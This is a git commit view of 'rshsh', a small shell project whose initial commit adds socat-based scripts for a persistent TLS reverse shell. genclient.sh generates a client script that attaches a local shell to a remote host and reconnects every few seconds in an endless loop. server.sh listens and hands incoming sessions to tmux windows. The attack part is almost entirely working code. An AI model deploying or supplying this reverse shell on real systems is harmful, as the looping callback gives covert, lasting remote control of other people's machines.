aboutsummaryrefslogtreecommitdiff
diff options
context:
space:
mode:
authorMitch Riedstra <mitch@riedstra.us>2019-02-14 20:26:09 -0500
committerMitch Riedstra <mitch@riedstra.us>2019-02-14 20:26:09 -0500
commitbd13ba3f12da9721ae9e0a81af788a3f9d9bb8f8 (patch)
treed88c28b69dd421fdbbdc6833e9590c0a28ee4c0b
downloadrshsh-bd13ba3f12da9721ae9e0a81af788a3f9d9bb8f8.tar.gz
rshsh-bd13ba3f12da9721ae9e0a81af788a3f9d9bb8f8.tar.xz
Initial
-rw-r--r--.gitignore3
-rwxr-xr-xgenclient.sh32
-rw-r--r--keys/.keep0
-rwxr-xr-xlib/spawn20
-rwxr-xr-xserver.sh23
-rw-r--r--vars14
6 files changed, 92 insertions, 0 deletions
diff --git a/.gitignore b/.gitignore
new file mode 100644
index 0000000..fa375dd
--- /dev/null
+++ b/.gitignore
@@ -0,0 +1,3 @@
+*.crt
+*.key
+*.pem
diff --git a/genclient.sh b/genclient.sh
new file mode 100755
index 0000000..9984a8b
--- /dev/null
+++ b/genclient.sh
@@ -0,0 +1,32 @@
+#!/bin/sh
+
+. ./vars
+
+help() {
+cat <<EOF
+Usage: $0
+
+ Generates a client shell script based on the variables set in 'vars'
+ and prints to stdout
+
+EOF
+exit 1;
+}
+
+while [ $# -gt 0 ] ; do case $1 in
+ *) help ;;
+esac; done
+
+cat <<EOF
+#!/bin/sh
+
+_shell="\$(which zsh mksh bash ksh zsh ash sh 2>/dev/null | sed 1q)"
+certificate='$(cat ${basename}.crt)'
+crt_tmp="\$(mktemp)"
+echo "\$certificate" > "\$crt_tmp"
+while [ $loop -ne 0 ] ; do
+socat exec:"\$_shell",pty,stderr,setsid,sigint,sane OPENSSL:$hostname:$port,verify=$verify,cafile=\$crt_tmp
+sleep $timeout
+done
+rm "\$crt_tmp"
+EOF
diff --git a/keys/.keep b/keys/.keep
new file mode 100644
index 0000000..e69de29
--- /dev/null
+++ b/keys/.keep
diff --git a/lib/spawn b/lib/spawn
new file mode 100755
index 0000000..07c27d8
--- /dev/null
+++ b/lib/spawn
@@ -0,0 +1,20 @@
+#!/bin/sh
+. ./vars
+
+SOCKDIR=$(mktemp -d)
+SOCKF=${SOCKDIR}/usock
+
+# Start tmux, if needed
+if ! tmux ls | grep -q rshell; then
+ tmux new -s rshell -d
+fi
+# Create window
+
+# Let's just see it works
+tmux new-window -t rshell "socat UNIX-LISTEN:${SOCKF},umask=0077 STDIO"
+
+# Wait for socket
+while test ! -e ${SOCKF} ; do sleep 1 ; done
+
+# Use socat to ship data between the unix socket and STDIO.
+exec socat STDIO UNIX-CONNECT:${SOCKF}
diff --git a/server.sh b/server.sh
new file mode 100755
index 0000000..32d7fe0
--- /dev/null
+++ b/server.sh
@@ -0,0 +1,23 @@
+#!/bin/sh
+. ./vars
+
+help() {
+cat <<EOF
+Usage: $0 [ -p <port> ] [ -k <key> ]
+ -p Sets the port it will listen on
+ -k specifies the key bundle that will be used
+EOF
+}
+
+while [ $# -gt 0 ] ; do case $1 in
+ -p) port="$2"; shift ; shift ;;
+ -k) key="$2"; shift ; shift ;;
+ *) help ;;
+esac ; done
+
+if ! [ -e "$key" ] ; then
+ openssl req -newkey rsa:2048 -nodes -keyout "${basename}.key" -x509 -days 3000 -out "${basename}.crt"
+ cat "${basename}.key" "${basename}.crt" > "${basename}.pem"
+fi
+
+socat OPENSSL-LISTEN:${port},cert=${key},reuseaddr,verify=0,fork EXEC:lib/spawn
diff --git a/vars b/vars
new file mode 100644
index 0000000..03bb7b2
--- /dev/null
+++ b/vars
@@ -0,0 +1,14 @@
+#!/bin/sh
+
+# Server's hostname
+hostname="do.rygel.us"
+# Do we verify the server certificate?
+verify=1
+# This is used to tell the client script whether it should loop in infinity
+loop=1 # 1 on; 0 off
+timeout=5 # Amount of time in seconds to wait between loops if enabled
+# Used when generating an SSL certificate if self signed
+basename="keys/server"
+# Key name
+key="${basename}.pem"
+port="8443"